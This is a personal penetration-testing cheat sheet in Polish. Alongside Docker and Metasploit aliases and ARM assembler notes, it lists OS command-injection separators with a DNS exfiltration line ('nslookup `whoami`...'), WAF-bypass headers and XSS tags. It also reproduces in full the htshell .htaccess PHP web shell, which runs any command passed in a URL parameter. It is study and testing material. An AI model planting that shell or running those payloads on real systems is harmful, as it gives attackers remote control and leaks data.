Zestaw “zawszetegozapominam”/“przydasie” - żeby nie szukać.

ip a - kolorowe wyświetlanko

ip -br -c addr show
ip -br -c link show

Docker aliases

Shamelessly skradzione z blogposta

function dockershell() {
    docker run --rm -i -t --entrypoint=/bin/bash "$@"
}

function dockershellsh() {
    docker run --rm -i -t --entrypoint=/bin/sh "$@"
}

function dockershellhere() {
    dirname=${PWD##*/}
    docker run --rm -it --entrypoint=/bin/bash -v `pwd`:/${dirname} -w /${dirname} "$@"
}

function dockershellshhere() {
    docker run --rm -it --entrypoint=/bin/sh -v `pwd`:/${dirname} -w /${dirname} "$@"
}

function dockerwindowshellhere() {
    dirname=${PWD##*/}
    docker -c 2019-box run --rm -it -v "C:${PWD}:C:/source" -w "C:/source" "$@"
}

impacket() {
    docker run --rm -it rflathers/impacket "$@"
}

smbservehere() {
    local sharename
    [[ -z $1 ]] && sharename="SHARE" || sharename=$1
    docker run --rm -it -p 445:445 -v "${PWD}:/tmp/serve" rflathers/impacket smbserver.py -smb2support $sharename /tmp/serve
}

nginxhere() {
    docker run --rm -it -p 80:80 -p 443:443 -v "${PWD}:/srv/data" rflathers/nginxserve
}

webdavhere() {
    docker run --rm -it -p 80:80 -v "${PWD}:/srv/data/share" rflathers/webdav
}

metasploit() {
    docker run --rm -it -v "${HOME}/.msf4:/home/msf/.msf4" metasploitframework/metasploit-framework ./msfconsole "$@"
}

metasploitports() {
    docker run --rm -it -v "${HOME}/.msf4:/home/msf/.msf4" -p 8443-8500:8443-8500 metasploitframework/metasploit-framework ./msfconsole "$@"
}

msfvenomhere() {
    docker run --rm -it -v "${HOME}/.msf4:/home/msf/.msf4" -v "${PWD}:/data" metasploitframework/metasploit-framework ./msfvenom "$@"
}

reqdump() {
    docker run --rm -it -p 80:3000 rflathers/reqdump
}

postfiledumphere() {
    docker run --rm -it -p80:3000 -v "${PWD}:/data" rflathers/postfiledump
}

ARM assembler

str     - store word
ldr     - load word
; postfixy
--h     - half word <unsigned>
--sh    - half word <signed>
--b     - bajt <unsigned>
--sb    - bajt <signed>

rejestry:
R0-R10      ; {r0-r10} GPRS, rejestry ogólnego zastosowania
R11 = FP    ; Frame Pointer
R12 = IP    ; Intra Procedural Call, brak odpowiednika w x86
R13 = SP    ; Stack pointer
R14 = LR    ; Link Register, tam trafia adres powrotu po wywołaniu funkcji <return address>
R15 = PC    ; Program Counter, w zalezności od stanu Thumb/ARM pokazuje current address + 4/8. Taki "RIP/EIP".
; ARM instr size = 4 bajty
; Thumb (v1/v2)  = 2 bajty
CPSR        ; EFAGS register, bardziej rozbudowany pod ARM, Current Program Status Register

Thumb vs ARM: ARM intrukcje mają 32 bity. Thumb ma 16 bitów, Thumb v2 dodatkowo 32 bitowe instrukcje Thumb.

32 bitowe instrukcje mają sufix .w

“Barrel shifter” - połączone instrukcje przesunięć bitowych z innymi instr. Mniejsza objętość kodu.

mov  R12, R1, LSL #2    ; R12 = (R1 << 2) ; R12 = R1 * 4

OS command injection

Najprostszy z błędów, łatwa exploitacja. Dane można eksfiltrować przez zapytania DNS (burpcollaborator), response aplikacji or zapis do pliku i następnie odwołanie się do niego.

Separatory:
  • |
  • ||
  • &
  • &&
  • ; (unix)
  • \n (unix)
Injectowanie komend i eksfiltracja przez burpcollaboratora:

Używanie backticków do wykonania shellowej komendy albo $(cmd):

nslookup `whoami`.x.burpcollab

WAF bypasses/middleware tampering

Headers:

  1. multiple Host headers (with indent or not)
  2. X-Originating-IP
  3. X-Forwarded-For
  4. X-Forwarded-Host
  5. X-Remote-IP
  6. X-Remote-Addr

XSS

Usefull tags:

a
abbr
acronym
address
applet
area
article
aside
audio
b
base
bdi
bdo
big
blink
blockquote
body
br
button
canvas
caption
center
cite
code
col
colgroup
command
content
data
datalist
dd
del
details
dfn
dialog
dir
div
dl
dt
element
em
embed
fieldset
figcaption
figure
font
footer
form
frame
frameset
h1
head
header
hgroup
hr
html
i
iframe
image
img
input
ins
kbd
keygen
label
legend
li
link
listing
main
map
mark
marquee
menu
menuitem
meta
meter
multicol
nav
nextid
nobr
noembed
noframes
noscript
object
ol
optgroup
option
output
p
param
picture
plaintext
pre
progress
q
rb
rp
rt
rtc
ruby
s
samp
script
section
select
shadow
slot
small
source
spacer
span
strike
strong
style
sub
summary
sup
DOM-based
Reflected
Stored

SQLI

bSQLI

Eksfiltracja danych za pomocą requestów DNS

SSTI

REPL Ocamla

UX przy wyjorzystaniu standardowego interpretera ocamla jest cough delikatnie mówiąc cough słaby. Fix: rlwrap ocaml

Htshell:

moar

# <!--  Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
# Uncomment the line below for Apache2.4 and newer
# Require all granted
    Order allow,deny
    Allow from all
</Files>

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted 
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

###### SHELL ###### <?php echo "--><form method='get'><input type='text' name='c' value='".$_GET['c']."'><input type='submit' name='go' value='Go!'></form>\n<pre>";passthru($_GET['c']." 2>&1");echo "</pre>"; ?>

Talki/slajdy/prezentacje/słowotoki

  1. LO VIII - Od CTFów do pentestingu // ten o rozpoczęciu kariery w pentestingu
  2. PP -s PUT Security Day - Cyberwarfare - CTFy czyli idziemy na strzelnicę // ten o powiązaniach CTFów z cyberwojskiem
  3. Poznan Security Meetup - Od zera (Thomasa) do Phineasa Phishera - czyli jak nie być pośmiewiskiem w świecie IT Sec // ten o wykorzystaniu socjotechniki w Red Teamingu
  4. PP - Erlang